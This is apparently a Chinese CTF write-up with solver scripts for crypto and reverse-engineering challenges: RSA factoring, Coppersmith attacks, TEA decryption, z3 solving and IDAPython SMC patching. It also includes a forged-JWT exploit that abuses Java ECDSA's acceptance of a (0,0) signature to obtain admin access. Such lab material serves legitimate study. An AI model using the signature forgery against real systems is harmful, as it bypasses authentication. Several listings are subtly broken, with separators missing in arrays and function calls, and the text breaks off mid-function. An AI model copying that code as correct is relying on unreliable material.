alp=string.ascii_letters + string.digits  
PR.< x > = PolynomialRing(Zmod(2)) #定义一个模二多项式环
def proof_of_work(end,sha):  #sha256爆破
    for i in alp:
        for ii in alp:
            for iii in alp:
                for iiii in alp:
                    if sha256((i+ii+iii+iiii+end).encode()).hexdigest()==sha:
                        return i+ii+iii+iiii
def get_list(sr):  #获取到的字符串转化成对应的多项式
    fx=0
    for i in range(2,15):
        if str(i) in sr:
            fx+=x^i
    if '1' in sr:
        fx+=1
    sr=sr.replace('x^','')
    if 'x' in sr:
        fx+=x
    return fx

p.recvuntil('sha256(XXXX+')
end=p.recv(16).decode()
p.recvuntil(') == ')
sha=p.recvuntil('\n')[:-1].decode()
print(end,sha)
xxxx=proof_of_work(end,sha)
print(xxxx)
p.recvuntil('Give me XXXX: ')
p.sendline(xxxx)   

for _ in range(40):  #需要成功40次
    p.recvuntil('r(x) = ')
    rx=p.recvuntil('\n')[:-1]
    p.recvuntil('a(x) = ')
    ax=p.recvuntil('\n')[:-1]
    p.recvuntil('c(x) = ')
    cx=p.recvuntil('\n')[:-1]
    rx=get_list(rx.decode())
    ax=get_list(ax.decode())
    cx=get_list(cx.decode())
    bx=(rx-cx)//ax    #得到b(x)
    p.recvuntil('> b(x) = ')
    p.sendline(str(bx))
p.recvall()

Image


ASR

看起来是个简单的RSA,

首先考虑低指数攻击+爆破填充没出,但是都是128bit的,比较小。所以直接考虑分解了。

首先开方得到

然后yafu挂着分解。查看日志文件:

Image


是可以分解出来一个的,然后把这个数除掉继续挂着分解。

然后就得到了

然后就是一个RSA求解,但是可以发现直接求是e的倍数,也就是说二者不互素,在模下不存在逆元

我们可以看一下看哪些模数的存在才导致的。然后剔除掉。

根据同余性质:

那么,前提是

然后就正常RSA解密了。

p1 = 260594583349478633632570848336184053653
p2 = 223213222467584072959434495118689164399
p3 = 218566259296037866647273372633238739089
p4 = 225933944608558304529179430753170813347
e=3
from gmpy2 import *
from Crypto.Util.number import *
print(gcd(p1-1,e))#1
print(gcd(p2-1,e))#1
print(gcd(p3-1,e))#3
print(gcd(p4-1,e))#3

phi1=p1*(p1-1)*p2*(p2-1)
d=invert(e,phi1)
n1=p1*p1*p2*p2
c=945272793717722090962030960824180726576357481511799904903841312265308706852971155205003971821843069272938250385935597609059700446530436381124650731751982419593070224310399320617914955227288662661442416421725698368791013785074809691867988444306279231013360024747585261790352627234450209996422862329513284149
m1=pow(c,d,n1)
print(long_to_bytes(m1))
#flag{Fear_can_hold_you_prisoner_Hope_can_set_you_free}

myJWT

首先理一下思路:

  1. 选项1:可以获取token
  2. 选项2:获取flag

要求我们输入的token通过选项2的验证即可得到flag。

看token的生成过程:

Image


相当于token就是header+payload+二者的签名,以.连接。

而选项2的验证是:

Image


首先是需要通过ecdsa验签,然后签名内容的payload满足下面三个条件。

很容易想到就是个伪造签名的过程,首先想到的是能不能通过选项1破解出签名私钥。尽管选项1可以获得9组签名,但是没有什么异常,所以感觉行不通。

然后题目说是crypto&misc,就拿题目关键词去谷歌一下。

Image


没说到关键,继续搜索。

Image


这下明白了,意思就是说java的ecdsa没有对签名进行范围校验,如果我们传(0,0)会通过所有ecdsa的验签!

那么我们现在只需要伪造一个token即可,header可以保持不变,payload修改一下,签名是(0,0)

from base64 import *
s1=b'{"typ":"JWT","alg":"myES"}'#header

s2=b'{"iss":"qwb","name":"striving","admin":true,"exp":2659184926311}'#payload

s3=b'\x00'*2 #sign

s=[b64encode(i).decode() for i in [s1,s2,s3]]
print('.'.join(s))  #token

Image


Factor

一个paper题,不过其实并不难,之前就遇到过这个paper了,所以也是直接就找到了,题目里三层分别是paper里的三种攻击方式,争对型的RSA问题。直接实现,具体原理就不解释了。

Image


对N1/N2进行连分数展开,可以得到q1/q2,然后就实现了分解。这里使用的是ContinuedFractions库

n11=801049932940568005269978912396585741498810389425615966036828877784238116634177290247194019425111606811005728521368879065336038221361037062407029836155148874719789714345603547779284558101833801155509762818376470874215789574939002212274399950433269775325144015468620263028557804618774240232988157961712628677901130814703917513004114547234375629747176834581166306552311075522669403347828095831520693563291249869832390698646691647204371133362254846234990175138047928703289833460734235302093916147489509206061923877623300596194317059884824322527532662470348274079800781120104946546063500763852622187404608639542858285661288293918912184354236687975919510300221932074135531028314170475917110204254042336116619335841213418990605590620842511615815443114612333881430920769002933370887494558640833005339906706603497809846863863967391543647049224309556936909768179259581851520214669904560467640473144481633920438487615788689262961741053146610554997224861331949716721056553499531186695425439163222802917813140266513735841447717418846360096652592844940362932171019143434080184728093326143821165097895058935372215708948088248596585127475770021962501262915274497478428868130455122612016408381607561200802267038869516896665387576895570245272035575637
n12=635401970340205725139325006504978344512744926958688031423448003992072769931808217486709574151492230879374574313457662436423263437792389711379687512056391117410807565492548718691166183372633151644917135272259770997096195518489056319350258673723095417922153182423913759272893696867426193704479752772511081457729513843682588951499551132432923147997238597538055902932123792252593514225328196541483451747314048080824405530742533473914329294346486691684904100406972073037050089861816604505650042953778360621934380815999541183067585498606053857125775979915077329566722531830089714823979965934190338538564188253271016367299890015449611141166780048763403252309160517164569110740561584100839212138661881615351382946813818078899882595313362934594951895560189003438775450675343590147821186953526262224973333962454561275321925151619178204499342339749637758100126893330994252902926509705617882239610380420830791088907378397226817514095468815228186716220057075095711894070032344613244803934541318573847029365563159918970404057137270884587905766828750387753130065274147902379993224780149663600462492281891320702134153853359393588902750423972068679293373333869389393970353760507436913233657422185531482023237384247535554666481760197851108297145147371
e11=1898839980562048754607069073527844852132536432440793106124181406514770178066775988232362054809850074774981836898118651469424148725970708199461113088705044905633592578936333918328544505910996746428679299419879472444790941363558025887620570856598548320246426354974395765243741646121743413447132297230365355148066914830856904433750379114692122900723772114991199979638987571559860550883470977246459523068862898859694461427148626628283198896659337135438506574799585378178678790308410266713256003479022699264568844505977513537013529212961573269494683740987283682608189406719573301573662696753903050991812884192192569737274321828986847640839813424701894578472933385727757445011291134961124822612239865
e12=1262647419018930022617189608995712260095623047273893811529510754596636390255564988827821761126917976430978175522450277907063247981106405519094560616378241247111698915199999363948015703788616554657275147338766805289909261129165025156078136718573006479030827585347458143645738353716189131209398056741864848486818076440355778886993462012533397208330925057305502653219173629466948635110352752162442552541812665607516753186595817376029707777599029040724727499952161261179707271814405907165207904499722122779096230563548011491932378429654764486855147873135769116637484240454596231092684424572258119768093562747249251518965380465994055049411715353547147466711949391814550591591830515262296556050946881
c11=18979511327426975645936984732782737165217332092805655747550406443960209507493506811471688957217003792679188427155591583024966608843371190136274378868083075515877811693937328204553788450031542610082653080302874606750443090466407543829279067099563572849101374714795279414177737277837595409805721290786607138569322435729584574023597293220443351227559400618351504654781318871214405850541820427562291662456382362148698864044961814456827646881685994720468255382299912036854657082505810206237294593538092338544641919051145900715456411365065867357857347860000894624247098719102875782712030938806816332901861114078070638796157513248160442185781635520426230183818695937457557248160135402734489627723104008584934936245208116232179751448263136309595931691285743580695792601141363221346329077184688857290503770641398917586422369221744736905117499140140651493031622040723274355292502182795605723573863581253354922291984335841915632076694172921289489383700174864888664946302588049384130628381766560976143458735712162489811693014419190718601945154153130272620025118408017441490090252674737105557818759190934585829634273698371996797545908125156282869589331913665938038870431655063063535672001112420959158339261862052308986374193671007982914711432579
c12=336587005671304527566745948355290412636261748969581976214239578621816863343117433524033533838636941679300497270909696775021031004312477997130741361709262822736904340641138652359632950455651920464042448022467664596484055174270895170499076347333381222768518599018520948098943626229061996126260154604038101543546588917619576702866444998578555907070990331574722135141778182631559802154493815687284077524469331290249057291163803290619701104007028836609832847351748020354798788508790258935718399783002069490123663345156902440501507117289747695510266461539019431610123351176227443612317037899257774045751487135646052309277098939919088029284437221840182769808850184827681307611389353392683707516141736067793897378911235819049432542758429901945202632117089595899280390575706266239252841152490534353760118231918190110043319877744119083811214707593122757409240645257409097436061825613686773916466122693168971062418046703969144004779270391320645495586024342668002497155358623795942692477164489475917351003149045087283510728981096449890130735055015075557614253867698702479920619299919816768972581273507837309179450374634916567083251630203067065663910073926990517108921490442919372774170201239734064819301693527366233007925670043499415100789027665
import ContinuedFractions
frac = ContinuedFractions.rational_to_contfrac(n11, n12)
convergents = ContinuedFractions.convergents_from_contfrac(frac)  #连分数展开
from gmpy2 import *
for q1,q2 in convergents:
 try:
  if n11 % q1 == 0 and n12 % q2 == 0:
   r=2
   p1=iroot(n11//q1,2)[0]
   p2=iroot(n12//q2,2)[0]
   phi1 = (p1 ** (r - 1)) * (p1 - 1) * (q1 - 1)
   phi2 = (p2 ** (r - 1)) * (p2 - 1) * (q2 - 1)
   d1=invert(e11,phi1)
   d2=invert(e12,phi2)
   m1=pow(c11,d1,n11)
   m2=pow(c12,d2,n12)
   print(m1,m2)  #得到m1,m2
   break
 except:
  pass

然后进行第二步求出b:

Image


from gmpy2 import *
m1=167033559384298522723574512241709447697750495062051373339874928117760768631565225663704494711294488556402223152830158600944819657473430506318731286655519728589208977191031849602792050411662024383502548579402516538753112670329781366297260905517214408459895097308286783418547254449419676568096534767340832822470233461516097690657337287889405321592527860524201824371955082411119548743528220794151774190322092515459637969925138496615421690273925560390321721643556915400569894100488394008220811596560968566833296068500476868375996187754631888256419438775013308064639754700359028260289266420692324376220460340153811660590804281527733243177527178698523018103373311259548716062006020121615186595491453534952848570829485638553678760994354019044715078062414748269425818079274218450448217803229617020494546843594180682307375768323235309661628678546003718924902228908888185484412626429441196588985691713767554591991735686919964937441820738008046218954331990752603146125777571183543616375946363623251491371247594696767767918341279655251868517380267258878990871525012299220182939441091806206624720194246691865367941280852353547267930167542329486261552854451001546455904682702366584763940463481732752992487773878685793275652314513014646439770319249
m2=69076592619651589706691933313826601279528159013379300261609967352748175972662567592943146333144902972780621576811778115958019397062270814057821407036352529372113467206560849267275602453288227390740346959857322649956992529510338912182696854496200041245775322561359546062736323363354733510660780489558215103581313753430117471361013972291126160134685745917715386613876414886325025010348396410346222272648657374977901786530969589123771261040601627906959627351426881111464943086191212001374558078570830214670111422731410682212770683631011038163623234630601007231955235905528750031898751733232446644402069580930596404887288935724879795199659228145390574503341087565153744389617539607111733080406125228559950446336384154674927952991964565965760896308198785777527690939982523416579778957846249005801121682470447753074839399698315364445972142571727376297422736232659133510385808957304351692629177239808890209690661982628408419571131470406142532800330250274534615063537773403062635865734585850821677880659194795963303700015814615804751909674946908768425855361277478190640780518117596780808975720826484146074528564147729911624750510271539697935538038871993380673492022099183863825435237650082706168588306816635866830411481021066926833372846305
n2=209798341155088334158217087474227805455138848036904381404809759100627849272231840321985747935471287990313456209656625928356468120896887536235496490078123448217785939608443507649096688546074968476040552137270080120417769906047001451239544719039212180059396791491281787790213953488743488306241516010351179070869410418232801398578982244984544906579574766534671056023774009163991804748763929626213884208260660722705479782932001102089367261720194650874553305179520889083170973755913964440175393646890791491057655226024046525748177999422035469428780228224800114202385209306803288475439775037067014297973202621118959024226798935588827359265962780792266516120013602384766460619793738405476219362508944225007365127768741191310079985425349292613888185378948854602285379329682053663283534930182589905986063348509703027498270111412063194971956202729807710253369312175636837558252924035002153389909587349043986253518050303628071319876207392440085675892353421232158925122721273720564784886530611286461575045181073744696415657043278123662980166364494583141297996445429477446442693717498789391918530672770193730629928408766563592081857706608049076318165712479742423149330311238462044666384622153280310696667586565906758451118241914402257039981388209
e2=65537
c2=18352572608055902550350386950073774530453857897248738030380007830701135570310622004368605208336922266513238134127496822199799761713782366178177809597137102612444147565578155260524747439899150012223027218489946124086276814899675563837669559795153349686434242738207425653079514376089070980797596457151965772460109519623572502109592612394316680202287712465721767341302234806130244551387296133051760893033194962691942040228545508895009195291106297581470066545991352668826197346830561010198417527057944507902143965634058848276017283478933675052993657822322866778994956205033704582047618324071045349072526540250707463112668579342537349567247810715604220690215313641329522674080146047291570752430231923566302463491877377617044768978997438596643458475128936850994934029476030136643053997549253792076260765459166618369864942681056864815996253315631930002738854235841120321870075261782250357506436825550088826469396508045912258303652912217151127280959435741419961721418428605515096160344688795655562889755165362006775317188009008288782691705879510655892181975003485714604340542378477388225736316682379616676770234557939471098919647053799313777248678455620231721202780830980063824003076308811540534492317719811588898727134190545533822501681653

r=7
PR = PolynomialRing(Zmod(n2),name='x')
x=PR.gen()
fx=m1*m2*x-(m1-m2)
fx=fx.monic()
xx=int(fx.small_roots(X=2^690,beta=0.7,epsilon=0.4)[0])
pp6=gcd(m1*m2*xx-(m1-m2),n2)
A=iroot(pp6,6)
assert A[1]
p=A[0]
q=n2//(pp6*p)
phi = (p**(r-1))*(p-1)*(q-1)
d=invert(e2,phi)

print(pow(c2,d,n2))

最后第三步:

首先,先求出。然后:

Image


感觉他这儿写的有的误导。实际上:

那么直接就是

所以说还是一元copper。

from gmpy2 import *
n3=539779851369541956878655738599584730199799866957191805784596190682932284216781781433367450841202917758999300635019369629627621029957135109806205877317954671312041249493462048283611940752235036153024920172209763260723728345918562258401803973624430150143563078517485996070862532682695228590709019451174548520135142052216785774589096706631010293690859363524584240662502290912412366366114571976050857239915691266377257797199583543940504695517331512813468837128344612227973709974625418257243011036826241599265375741977853552204640800449679679351666009764297016524814036295707311913711955324055690490892097177271718850857268982130811714517356073266905474635370690445031512184247179039751734276906533177939993769044135143389748416635981226449566039039202521305851567296884751935162651063209779647359922622084851547605090230221057349511482738300221222563908357379545905837110168948295030747460300104202323692732549831403834387939156877086852393515817984772384147449841124275061609701453997579569931391166586163299940486204581696722731952467570857217406030804590055255431828403195798003509083922294733709507134156466158642941338493323430671502043066148246348074878064089651235355282144209668143249348243220714471988019011613749340243917652821
e3=8179300978753084587812861894047395225516049110376948812109811319430275614612773726672345893359691900281432484382670047044697374818043512731533402576374645405477207239801498428774783768163880078495448747421425078521981578408638790336528372019271073712013371141939808017049399434858687299480461753638164719404612128939787055797762174745092074547412183349192156638711750872083313795551439465507724807626674514935170104573715458782366469587138508845980490673890245713729782917089910271980557159592807350504157192913530007199510144004848020221181558472160543018733124225266127379373751910439604459368078652499029070936707349862139053913745186413782066470461478961703013591655136140060879250067379283913798867648758171004535775565306842444545755351202796833177560656564652632975685912935281581268141803696686952259539945588609591385807620108279333498170028167338690235117003515264281843953984997958878272347778561933726792473981855755454522886321669676790813189668084373153897754540290867346751033567500922477317530445967753955221454744946208555394588111484610700789566547507402309549957740815535069057837915204852490930168843605732632328017129154852857227895362549146737618906180651623216848500491438142456250653458053922622240299736136335179639180898730269690699965799644757774472147210271111150769048976871249731156387939260749192370361488285775377622944817570292095201906142567403539151179209316853493906909989301225903409448461436855145
b=17623328397444755087284107444487160871617682792372566887446834913712379373851213638071138745775127796589871734472781755930251379295485892067473329763997583502625804363418069062645997342172778252731889437
c3=113097822337683973761068913398570777162211043704088253732500045618770280334319497174908657828372816818344430304314992760410247741225285170975119344962728883084314382093407445567724674775086423808679124143380073906159023182353116556175251427048715466914368972746661938211846262612414049036821553068430149530397389927209475908905748728402722287875974303298260579839357610962198145974153609818939841880084892796820949226354126424023144300953584658958900737493704530725894948802258740332090822797815745616247879170037794873059391625680745994045522420168248552864215035136318711240256011217929372430302003068882829637056296413462078222453765071094277727760527662423010417144554652783429899139309180017349156600053882338180319473460877576898373222480215735280046214925463242092830060830764299787309912687294672319845054775281463150375545716818434962456139485501224661520991156961587158843064393883274763714930309353593180897123378717852182761518709151878662808890356934477932099818218743384674756674800089177733447066489275506387382342429495897972218764782517198727316942685748481956118012927027254979181519862451112593068440686462293151078537886822555211870303467014484443432209106264020502334805536091587252238173816637270028678636848763

r=7
ex=e3//b

PR = PolynomialRing(Zmod(n3),name='x')
x=PR.gen()
fx=ex*x-1
fx=fx.monic()
xx=int(fx.small_roots(X=2^690,beta=0.7,epsilon=0.4)[0])
pp6=gcd(ex*xx-1,n3)
A=iroot(pp6,6)
assert A[1]
p=A[0]
q=n3//(pp6*p)
phi = (p**(r-1))*(p-1)*(q-1)
d=invert(e3,phi)

print(pow(c3,d,n3))

Image

Re

easyapk

是一个APK,java层没啥就直接调用了natvie层进行check而已,

解包出so文件,ida反编译。

进到check函数发现代码膨胀了都是没有用的代码,

  v22 = strlen(v16);
  *v21 = v22;
  tea(*(_DWORD *)v15, v22);
  v23 = v20;
  v24 = (unsigned int)&v36[-786854828];
  if ( v20 )
    v4 = (unsigned int)v36;
  else
    v24 = (unsigned int)&STACK[0x3756038];
  v25 = __PAIR64__(-1 - (unsigned int)!__CFADD__(v4 | ~v24, v24 | ~v4), (v4 | ~v24) + (v24 | ~v4))
      + __PAIR64__((v24 | v4) >> 312 * (v24 | v4));
  v26 = (v25 + 2) ^ (v24 + v4) | ((v25 + 2) >> 32) ^ ((v24 + (unsigned __int64)v4) >> 32);
  v27 = &v36[-844878776];
  if ( !v20 )
    v27 = (char *)&v42;
  v28 = (unsigned int *)&v36[-58023948];
  if ( !v23 )
    v28 = &STACK[0x2EE673D8];
  if ( !v26 )
    v28 = (unsigned int *)v27;
  v29 = *(void **)v15;
  *v28 = memcmp(&enc, *(const void **)v15, *v21);

再最后那里发现就是输入然后经过函数一个函数进行cmp

然后那个函数也再最后部分看到了tea的特征。但是detalt,key没有明确给出,都是经过一些运算得到的。然后我想到,都是膨胀得到的代码,最后应该会消掉得到的肯定是常量。所以我写了个c文件生成了出来。

#include<stdio.h>
int main()
{

 int k1,k2,k3,k4,v15,v16,v17,v18,v148,v152,sum;;
 v15 = time(0);
  k1 = ((v15 & 0x20000000) - (v15 & 0xD0000000) + 2 * (v15 & 0x50000000) + 705251522) ^ 0xB93B79F2;
  v16 = time(0);
  k2= ((v16 & 0x10000000) - (v16 & 0xE0000000) + 2 * (v16 & 0x60000000) + 268614163) ^ 0x47348F27;
  v17 = time(0);
  k3 = ((v17 & 0x50000000) - (v17 & 0xA0000000) + 2 * (v17 & 0x20000000) + 1598838216) ^ 0xDD2D6CF0;
  v18 = time(0);
  k4 = (((v18 & 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x30240060 | 0x99A9B9D)
          + 2 * (((v18 & 0x40000000) - (v18 & 0xB0000000) + 2 * (v18 & 0x30000000) + 1085702636) ^ 0x46D3E58F);
 
  v148 = time(0);
  v152 = (v148 & 0x30000000) - (v148 & 0xC0000000) + 2 * (v148 & 0x40000000) + 0x35970C13;
   
  sum = (v152 ^ 0xF4170810 | 0x1C88647) + 2 * (v152 ^ 0xBA075AA);

  printf("%x %x %x %x %x ",k1,k2,k3,k4,sum);
 return 0;
}

最后验证发现

sum1=2
sum=0x9e3779b9
print(hex(2 * (sum1 | sum) - (sum ^sum1)))
#0x9e3779bb

tea代码的那段操作就只是个加法,最后整理一下就是正常的tea,提取出前面的比对密文

直接套祖传脚本

#include <stdio.h>  
#include <stdint.h>  

//加密函数  
void encrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0, i;           /* set up */
    uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                       /* basic cycle start */
        sum += delta;
        v0 += ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        v1 += ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}
//解密函数  
void decrypt(uint32_t* v, uint32_t* k) {
    uint32_t v0 = v[0], v1 = v[1], sum = 0x9e3779b9<<5, i;  /* set up */
    uint32_t delta = 0x9e3779b9;                     /* a key schedule constant */
    uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3];   /* cache key */
    for (i = 0; i < 32; i++) {                         /* basic cycle start */
        v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
        v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
        sum -= 0x9e3779b9;
    }                                              /* end cycle */
    v[0] = v0; v[1] = v1;
}

int main()
{
    uint32_t v[8] = { 0x5D94AA840x14FA24A00x2B5602100xB69BDD490xAAEFEAD40x4B8CF4C60x097FB8C90xB5EC51D2 };
    // v为要加密的数据是两个32位无符号整数  
    // k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位  
    //printf("加密前原始数据:%u %u\n", v[0], v[1]);
    uint32_t k[4] = { 0x33323130,0x37363534,0x62613938,0x66656463 };
    for(int i = 0; i < 8;i+=2 )
    {
        uint32_t vv[2] = { v[i],v[i + 1] };
        decrypt(vv, k);
        puts((char*)vv);
    }
    
    return 0;
}
synt{Vg_烫烫烫烫
Vf_A0g_g烫烫烫烫
uNg_zHpu烫烫烫烫
_unEqre}烫烫烫烫

synt{Vg_Vf_A0g_guNg_zHpu_unEqre}

synt立马想到rot13了,

拿去在线解密,直接得到flag

Image

flag{It_Is_N0t_thAt_mUch_haRder}

deeprev

谷歌ctf2022差不多的原题。能找到很多人的wp,然后在找到一个人写的博客而且有完整脚本,但是要装3.10的python,差点把本地搞崩,最后无奈装了个虚拟机来装。

然后就是要改一下,获取的flag地址

同时readelf -r 解析出来万行,但是我们只需要到1267行附件的 relocs

Image
#代码过长不宜展示,详细可以点击原文下载PDF文档

解析出来的

\PycharmProjects\qiangwang\venv\Scripts\python.exe 
C:/Users/bubu/PycharmProjects/qiangwang/lifter.py 
[*] Loading relocations...
[*] Parsing...
[*] lift_mov_add...
[*] remove_sizes...
[*] lift_indirect...
[*] lift_block...
[*] lift_reset...
[*] lift_shuffle_block...
[*] lift_output...
[*] lift_multadd...
[*] lift_truncate...
[*] lift_array_slots...
[*] lift_shellcode...
[*] lift_aop...
REL(dst=baseaddr(), val=0, ridx=3)
REL(dst=baseaddr(), val=0, ridx=4)
[0005] :: mov s2, &flag[0]
[0007] :: mov(1) s4, s2
[0008] :: [ARRAY SLOT]
[0009] :: mov arr[15], &1585408084625667200
[0010] :: mov arr[16], &195
[0011] :: mov s3, &arr[15]
[0012] :: setinfo s3, name=0x1a, info=0x1, other=0x0, shndx=0x0
[0013] :: add arr[15], s3, 0
[0014] :: mov s2, &r101002.r_address
[0016] :: mov(24) arr[15], s2
[0017] :: [ARRAY SLOT]
[0018] :: mov arr[42], &141015791240320
[0019] :: mov arr[43], &195
[0020] :: mov s3, &arr[42]

…………………………
#输出过长不宜展示,详细可以点击原文下载PDF文档
…………………………
[1239] :: mov s2, &s9
[1240] :: add s10, s8, s2
[1243] :: exec r1243.r_address <- 8034255c418000e5c3000000000000000000000000000000
--------------------
    0x0: xor byte ptr [0x80415c], 0xe5
--------------------
[1252] :: mov s2, &s10
[1254] :: add s5, s5, s2
[1257] :: mov s6, &0
[1258] :: mov s7, &0
[1259] :: mov s8, &0
[1260] :: mov s9, &0
[1261] :: mov s10, &0
[1262] :: mov s2, &s5
[1264] :: mov(14210788, s2
[1265] :: [ARRAY SLOT]
[1266] :: [ARRAY SLOT]

Process finished with exit code 0

观察输出的字节码,发现存在两次异或,且是前27个flag进行异或。且最后几个flag是几个联合处理,估计是防止测信道?把这俩组字节码提取出来。发现第一部分少了点东西?

k1 = [ 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x24, 0x2c, 0x26, 0x1e, 0x1f, 0x20, 0x20, 0x21, 0x23, 0x27, 0x24, 0x25, 0x26, 0x27, ]
k2 = [0x70, 0x7c, 0x73, 0x78, 0x6f, 0x27, 0x2a, 0x2c, 0x7f, 0x35, 0x2d, 0x32, 0x37, 0x3b, 0x22, 0x59, 0x53, 0x8e, 0x3d, 0x2a, 0x59, 0x27, 0x2d, 0x29, 0x34, 0x2d, 0x61, 0x32 ]

发现不对,少了前面四个。但是肯定flag{是前五个。第五个已知。

print(0x10^0x6f^ord('{'))

发现异或出来不是0,是4,又看到这是第5个元素,但是数组从0开始。

所以可能加上了下标或者异或下标,但是中间就两次异或,所以先尝试加法逆推出前4个,然后

尝试用z3约束求解

k1 = [0x100x110x120x130x140x150x160x170x180x190x240x2c0x260x1e0x1f0x200x200x210x230x270x240x250x260x27, ]
k2 = [0x700x7c0x730x780x6f0x270x2a0x2c0x7f0x350x2d0x320x370x3b0x220x590x530x8e0x3d0x2a0x590x270x2d0x290x340x2d0x610x32 ]
f='flag'
ap=[]
for i in range(len(f)):
    ap.append(((k2[i]-i)^ord(f[i])))
print(ap)
kk1=[222316180x100x110x120x130x140x150x160x170x180x190x240x2c0x260x1e0x1f0x200x200x210x230x270x240x250x260x27, ]

from z3 import *
s = Solver()
flag = [BitVec(f'flag[{i}]'8for i in range(32)]
for i in range(028):
    s2 = (((kk1[i]) ^ flag[i]) + i) ^ k2[i]
    s.add(s2 == 0)
s2 = (flag[28] + flag[29]) ^ 0x6c
s.add(s2 == 0)
s2 = (flag[28] + flag[28] + flag[29]) ^ 0xa1
s.add(s2 == 0)
s2 = (flag[30] + flag[31]) ^ 0xb1
s.add(s2 == 0)
s2 = (flag[30] + flag[30] + flag[31]) ^ 0xe5
s.add(s2 == 0)
if s.check()==sat:

    m = s.model()
    print(m)
flag=[0]*32
flag[8] = 99
flag[3] = 103
flag[1] = 108
flag[15] = 102
flag[16] = 101
flag[26] = 97
flag[11] = 48
flag[18] = 52
flag[9] = 57
flag[6] = 54
flag[24] = 56
flag[22] = 52
flag[30] = 52
flag[14] = 48
flag[0] = 102
flag[25] = 49
flag[28] = 53
flag[19] = 55
flag[10] = 53
flag[20] = 101
flag[23] = 53
flag[21] = 51
flag[7] = 54
flag[17] = 99
flag[4] = 123
flag[29] = 55
flag[2] = 97
flag[5] = 51
flag[12] = 51
flag[13] = 55
flag[27] = 48
flag[31] = 125
print(bytes(flag))
#b'flag{366c950370fec47e34581a0574}'

发现能直接sat出flag

所以加密逻辑是

(k1^flag+i)^k2

flag{366c950370fec47e34581a0574}

GameMaster

主要逻辑在exe这个net文件中。同时在ganme的操作中,有很多判断选择,同时找到了提示AchivePoint1 同时下面还有两处。看逻辑,发现就是解密文件,而这文件时在函数开始前写的

   FileStream fileStream = File.OpenRead("gamemessage");
   int num = (int)fileStream.Length;
   Program.memory = new byte[num];

我们直接提取解密

from Crypto.Cipher import AES
key=bytes([66,114,97,105,110,115,116,111,114,109,105,110,103,33,33,33])
f=open('gamemessage','rb')
stream=f.read()
enc=[]
for i in stream:
    enc.append(i^34)
ae=AES.new(key,AES.MODE_ECB)
m=ae.decrypt(bytes(enc))
f.close()
ff=open('flag','wb')
ff.write(m)
ff.close()

提取出来,发现程序段有问题,ida识别不出来,然后用010打开,发现中间有个MZ文件头,尝试把前面的数据都去掉。

ida成功识别出。net文件。

Image

看了整体逻辑,发现都是运算,但是要先求出x,y,z。

直接用z3求解

from z3 import *
f=[101,5,80,213,163,26,59,38,19,6,173,189,198,166,140,183,42,247,223,24,106,20,145,37,24,7,22,191,110,179,227,5,62,9,13,17,65,22,37,5]
x=BitVec('x',33)
y=BitVec('y',33)
z=BitVec('z',33)
s=Solver()
nums=-1
k=[0]*40
for i in range(320):
     x = (((x >> 29 ^ x >> 28 ^ x >> 25 ^ x >> 23) & 1) | x << 1)
     y = (((y >> 30 ^ y >> 27) & 1) | y << 1)
     z = (((z >> 31 ^ z >> 30 ^ z >> 29 ^ z >> 28 ^ z >> 26 ^ z >> 24) & 1) | z << 1)
     if i%8==0:
         nums+=1
     k[nums]=((k[nums]<<1)|((z >> 32 & 1 & (x >> 30 & 1)) ^ (((z >> 32 & 1) ^ 1) & (y >> 31 & 1))))&0xff
for i in range(40):
    s.add(k[i]==f[i])
if s.check()==sat:
 print(s.model())

接下来还有个移位操作,然后异或

s=[60,100,36,86,51,251,167,108,116,245,207,223,40,103,34,62,22,251,227]
z = 3131229747
y = 868387187
x = 156324965
L[0]=x
L[1]=y
L[2]=z
for i in range(3):
    for j in range(4):
        key[i * 4 + j] = ((L[i] >> j * 8) & 255)
for i in range(len(s)):
    print(chr(s[i]^key[i%len(key)]),end='')

#Y0u_@re_G3meM3s7er!

easyre

程序在一开始释放了一个叫re3的文件并且chmod给了0x1ff权限

但是当我们调试起来经过判断ida报错说出现线程问题,那这应该是用fork开了线程。

然后我们把re3文件取出发现很多函数ida都识别失败,用c强制定义出来然后按p重新订一函数。

然后有一段main函数里的函数没能识别出来,而且有int3 然后想到smc,然后再主程序一个分支看到有异或,而且对数值进行判断。有点debugblock的感觉了

Image

然后看他的判断的数据有个0xcc,刚好就是那段不能int3的硬编码

然后在smc的函数进行了取出一个表(这个表可以进行不断的交叉索引进到一个函数,而且这个函数对这个表的字符串进行了切割)的数据进行md5取后16位,然后异或

用idapython

import idautils
from hashlib import md5
map=['820555419','204439052','2023331787','1201749658','2009001459','309493069','994139042','244964220','1752591519''49674272','654614966','153701618','1413690375','1296770320','869022979','607264832','391671420','1843735205''959349745','1171212523','1553663100','1780021933','707165593','682689494','1143664716','103763972','79067989''1334379513','1198796057','402529623','1042963942','983905083','1854610108','152975389','2089964716','812746300',
'471175148','976296130','1037758217']
key=[]
for i in range(len(s)) :
    s=md5(map[i].encode()).hexdigest()
    key.append(int.from_bytes(bytes.fromhex(s[16:]),'little'))
adr=0x2213
for i in range(len(key)):
    k=get_qword(adr+16*i)   
    patch_qword(adr+16*i,k^key[i])
print('yeak')

然后把int3这两段段垃圾数据都nop掉发现可以正常按p定义函数。

_BYTE *__fastcall sub_21F9(__int64 a1, __int64 a2, __int64 a3)
{
  _BYTE *result; // rax
  int v4; // [rsp+20h] [rbp-28h]
  int v5; // [rsp+24h] [rbp-24h]
  char v6; // [rsp+28h] [rbp-20h]
  int v7; // [rsp+2Ch] [rbp-1Ch]
  int j; // [rsp+30h] [rbp-18h]
  int v9; // [rsp+34h] [rbp-14h]
  int v10; // [rsp+38h] [rbp-10h]
  char v11; // [rsp+3Ch] [rbp-Ch]
  int v12; // [rsp+40h] [rbp-8h]
  int i; // [rsp+44h] [rbp-4h]

